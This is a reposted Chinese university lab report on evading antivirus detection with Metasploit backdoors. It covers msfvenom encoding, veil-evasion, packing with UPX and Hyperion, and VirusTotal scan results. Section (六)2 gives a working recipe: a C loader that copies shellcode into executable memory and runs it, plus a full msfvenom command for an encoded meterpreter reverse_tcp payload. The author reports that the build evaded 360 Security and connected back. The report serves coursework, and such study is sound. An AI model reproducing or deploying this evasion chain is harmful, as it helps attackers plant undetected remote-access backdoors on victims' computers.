zoukankan      html  css  js  c++  java
  • 免杀原理与实践

    一、实验原理

    1.恶意软件的检测机制

    基于特征码的检测:

    特征码即一段或多段数据,包含这样数据的可执行文件或其他库、脚本被认为是恶意代码。

    基于启发式恶意软件检测:

    根据片面特征推断,通用的、多特征、非精确的扫描。

    基于行为的恶意软件检测:

    启发式的一种,加入了行为监控。

    2.免杀技术

    • 改变特征码
      • 如果你手里只有EXE
        • 加壳:压缩壳 加密壳
      • 有shellcode(像Meterpreter)
        • 用encode进行编码
        • 基于payload重新编译生成可执行文件
      • 有源代码
        • 用其他语言进行重写再编译(veil-evasion)
    • 改变行为
      • 通讯方式
        • 尽量使用反弹式连接
        • 使用隧道技术
        • 加密通讯数据
      • 操作模式
        • 基于内存操作
        • 减少对系统的修改
        • 加入混淆作用的正常功能代码

    二、实验内容

    (一)正确使用msf编码器

    1.使用msf编码器生成exe文件

    使用实验二中的后门程序20174301_backdoor.exe,在VirusTotal网站扫描。

     可见被杀软检测到的概率很大。

    2.使用msf编码器对后门程序编码

    一次编码,结果如图:

    在网站上检测结果如图:

     十次编码,结果如图:

     

     在网站上检测结果如图:

     由上可见,使用msf多次编码对提升免杀效果没什么用。

    (二)使用msfvenom生成如jar之类的其他文件

    1.jar文件

    使用命令生成jar文件,如图:

     在网站上检测结果如图:

     2.php文件

    生成过程如图:

     在网站上检测结果如图:

     出人意料的少(流汗

    (三)使用veil生成后门程序

    安装veil过程漫长,出现Unable to fetch some archives, maybe run apt-get update or try with --fix-missing的错误,请参见:https://blog.csdn.net/vslyu/article/details/82959552

    虽然慢,但建议不要更新国内的源,可能出现更多错误,出现问题根据错误提示来调整吧。安装成功界面如下:

     输入veil,出现一下界面:

     输入ues evasion,进入veil-evasion

     输入 use c/meterpreter/rev_tcp进入配置界面

     设置反弹连接,设置文件名为veil_c_4301,其中LHOST为kali的IP,意为后门程序需要反弹连接的IP地址,如图:

     在网站上检测后门程序,其中,后门文件存放位置见上图,检测结果如图:

     (四)使用C+shellcode编程

    利用msf生成一段shellcode,创建一个.c文件,用vi命令编辑文件,加入shellcode和一段主函数,主函数如下:

    int main()
    { 
    int (*func)() = (int(*)())buf;
    func();
    }

    生成shellcode如下:

     将.c文件编译成可执行文件,如图:

     在网站检测结果如图:

     使用nc命令将文件传送到windows上,被360查杀:

     (五)加壳工具

    1.压缩壳

    使用upx命令将刚刚的可执行文件加壳,前面是加壳前文件,后面是加壳后文件,如图:

    在网站上检测结果如图:

    2.加密壳

    使用Hyperion加密后门文件,其中安装Hyperion的过程参考其他同学给出的链接:https://blog.csdn.net/weixin_36711901/article/details/103217022

    其中,要注意的是:

    ①可以使用 find -name 文件名 来查找Hyperion-2.2文件夹及Crpter文件夹、makefile文件,修改makefile文件是使用vi命令修改的;

    ②要加壳的文件要放进Hyperion-2.2文件夹里。

    然后使用如下命令加壳即可。


     (六)使用其他课堂未介绍的方法

    1.使用veil-evasion的其他载荷生成后门

    进入veil evasion后,输入list查看载荷,选择第29个载荷,并不是每一个载荷都可用,界面如图:

     

    如上图,set username以设置用户名,选择MSFVenom,选择组件/平台/连接方式,反弹连接IP和端口号,还可以自定义一些参数。

    其中,后门文件名称是xn_zh_4301.rc。

    在网站上检测结果如图:

    2.shellcode+c++msf多次编码+加壳+申请动态内存加载(用另一台电脑实测,可以实现免杀并回连)

    电脑系统:WIndows10专业版

    AV:360安全卫士12

    申请动态加载内存的代码如下:

    #include <Windows.h>
    #include <stdio.h>
    #include <string.h>
    
    #pragma comment(linker,"/subsystem:"Windows" /entry:"mainCRTStartup"") //windows控制台程序不出黑窗口
    
    unsigned char buf[] = 
    "shellcode";
    
    
    main()
    
    {
        char *Memory; 
    
        Memory=VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    
        memcpy(Memory, buf, sizeof(buf));
    
        ((void(*)())Memory)();
    
    }

    使用 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b 'x00' lhost=10.211.55.2 lport=3333 -f c -o shell.c 生成一段shellcode,然后把前面buf[]的值换成这段shellcode,生成的.c文件我用codeblocks编译成exe文件,再加壳,可实现免杀及回连成功。

     

     

    (七)通过组合应用各种技术实现恶意代码免杀

    见(六)的第2条。

    (八)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    见(六)的第2条。

    三、基础问题回答

      1.杀软是如何检测出恶意代码的?

       杀软可以通过特征码、行为特征检测出恶意代码。AV软件厂商搜集恶意代码的特征码库,与软件进行匹配,检测数据包的特征码,防止网络攻击;根据软件的特征与恶意软件特征的相符程度,监控软件行为,以查杀网络攻击。

      2.免杀是做什么?

       免杀就是通过encode编码、加壳、veil、shellcode编程等方式改变恶意代码的特征码,或通过反弹连接、加密通信、隧道技术等方法隐匿恶意代码的行为方式,或一些非常规方法使得安插的后门难以被AV软件发现。

      3.免杀的基本方法有哪些?

    (1)改变特征码

    EXE文件可以加壳、用encode进行编码;shellcode可以基于payload重新编译生成可执行文件;有源代码可以用其他语言进行重写再编译。

    (2)改变行为方式

    尽量使用反弹式连接、隧道技术、加密通讯数据等。

    四、实践总结与体会

    1.实验体会

    此次实验模拟了生成后门软件实现免杀的过程,可以看出网络攻击是防不胜防的,应该加强网络安全防范意识。

    2.开启杀软能绝对防止电脑中恶意代码吗?

    不能,就比如纯手工打造的恶意代码,很难被杀毒软件检测出来。

  • 相关阅读:
    【1801日語听解4】第14回:6月9日
    【日語听解2】第14回:6月8日
    【日語視聴説2】第14回:6月8日
    【日本語新聞編集】第13回:6月5日
    【1801日語写作】第13回:6月4日
    【日本語新聞選読】第13回:6月2日
    Win10版本
    家庭或小规模无线使用方
    批处理bat复制命令Copy与Xcopy
    批处理bat删除命令
  • 原文地址:https://www.cnblogs.com/4301xn/p/12588548.html
Copyright © 2011-2022 走看看